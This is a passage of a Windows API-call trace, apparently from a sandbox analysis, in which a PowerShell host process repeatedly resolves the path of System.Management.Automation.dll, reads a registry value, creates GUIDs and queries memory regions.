(in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e3c0, lpData=0x0, lpcbData=0x27e3bc*=0x0 | out: lpType=0x27e3c0*=0x1, lpData=0x0, lpcbData=0x27e3bc*=0x56) returned 0x0 [0052.343] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e3c0, lpData=0x2d1db8, lpcbData=0x27e3bc*=0x56 | out: lpType=0x27e3c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e3bc*=0x56) returned 0x0 [0052.343] RegCloseKey (hKey=0x310) returned 0x0 [0052.343] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0052.343] GetLastError () returned 0x0 [0052.343] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27deb4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0052.343] GetLastError () returned 0x0 [0052.352] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xd47ca287, Data2=0xb30, Data3=0x493d, Data4=([0]=0x98, [1]=0xf5, [2]=0xfb, [3]=0xc4, [4]=0xe8, [5]=0x61, [6]=0xd7, [7]=0x9c))) returned 0x0 [0052.352] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x371307a, Data2=0x7215, Data3=0x4a74, Data4=([0]=0xa8, [1]=0xc9, [2]=0x5e, [3]=0x4, [4]=0xa5, [5]=0x2, [6]=0xd5, [7]=0x5a))) returned 0x0 [0052.352] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.352] GetLastError () returned 0x0 [0052.352] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.352] GetLastError () returned 0x0 [0052.352] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.352] GetLastError () returned 0x0 [0052.352] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.353] GetLastError () returned 0x0 [0052.377] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.378] GetLastError () returned 0x0 [0052.378] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.378] GetLastError () returned 0x0 [0052.378] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.378] GetLastError () returned 0x0 [0052.378] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x4f84206b, Data2=0x7059, Data3=0x4fcf, Data4=([0]=0xa2, [1]=0xfe, [2]=0x8c, [3]=0x80, [4]=0x77, [5]=0x18, [6]=0xd0, [7]=0x7a))) returned 0x0 [0052.378] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.378] GetLastError () returned 0x0 [0052.378] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.378] GetLastError () returned 0x0 [0052.378] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.378] GetLastError () returned 0x0 [0052.378] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.378] GetLastError () returned 0x0 [0052.378] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.378] GetLastError () returned 0x0 [0052.378] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.378] GetLastError () returned 0x0 [0052.378] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.378] GetLastError () returned 0x0 [0052.379] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.379] GetLastError () returned 0x0 [0052.379] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.379] GetLastError () returned 0x0 [0052.379] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.379] GetLastError () returned 0x0 [0052.379] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.379] GetLastError () returned 0x0 [0052.379] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.379] GetLastError () returned 0x0 [0052.379] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.379] GetLastError () returned 0x0 [0052.379] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.379] GetLastError () returned 0x0 [0052.379] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.379] GetLastError () returned 0x0 [0052.379] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.379] GetLastError () returned 0x0 [0052.379] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.379] GetLastError () returned 0x0 [0052.379] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.379] GetLastError () returned 0x0 [0052.380] VirtualQuery (in: lpAddress=0x27cd34, lpBuffer=0x27dd34, dwLength=0x1c | out: lpBuffer=0x27dd34*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.381] VirtualQuery (in: lpAddress=0x27cd70, lpBuffer=0x27dd70, dwLength=0x1c | out: lpBuffer=0x27dd70*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.381] GetLastError () returned 0x0 [0052.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.381] GetLastError () returned 0x0 [0052.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.381] GetLastError () returned 0x0 [0052.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.381] GetLastError () returned 0x0 [0052.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.381] GetLastError () returned 0x0 [0052.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.381] GetLastError () returned 0x0 [0052.381] VirtualQuery (in: lpAddress=0x27d0a0, lpBuffer=0x27e0a0, dwLength=0x1c | out: lpBuffer=0x27e0a0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.382] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.382] GetLastError () returned 0x0 [0052.382] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.382] GetLastError () returned 0x0 [0052.382] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.382] GetLastError () returned 0x0 [0052.382] VirtualQuery (in: lpAddress=0x27d0a0, lpBuffer=0x27e0a0, dwLength=0x1c | out: lpBuffer=0x27e0a0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.382] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.382] GetLastError () returned 0x0 [0052.382] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.382] GetLastError () returned 0x0 [0052.382] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.382] GetLastError () returned 0x0 [0052.382] VirtualQuery (in: lpAddress=0x27d0a0, lpBuffer=0x27e0a0, dwLength=0x1c | out: lpBuffer=0x27e0a0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.382] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.383] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.384] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.384] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.384] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.384] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.384] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.384] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.384] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.385] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.385] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.386] VirtualQuery (in: lpAddress=0x27cedc, lpBuffer=0x27dedc, dwLength=0x1c | out: lpBuffer=0x27dedc*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.386] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.386] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.386] VirtualQuery (in: lpAddress=0x27d038, lpBuffer=0x27e038, dwLength=0x1c | out: lpBuffer=0x27e038*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.387] VirtualQuery (in: lpAddress=0x27d074, lpBuffer=0x27e074, dwLength=0x1c | out: lpBuffer=0x27e074*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.387] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xd31abb69, Data2=0x56a6, Data3=0x4638, Data4=([0]=0x8a, [1]=0x70, [2]=0x4, [3]=0x89, [4]=0x16, [5]=0x78, [6]=0x75, [7]=0xca))) returned 0x0 [0052.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.387] GetLastError () returned 0x0 [0052.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.387] GetLastError () returned 0x0 [0052.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.387] GetLastError () returned 0x0 [0052.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.387] GetLastError () returned 0x0 [0052.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.387] GetLastError () returned 0x0 [0052.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.387] GetLastError () returned 0x0 [0052.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.387] GetLastError () returned 0x0 [0052.387] GetFullPathNameW (in: 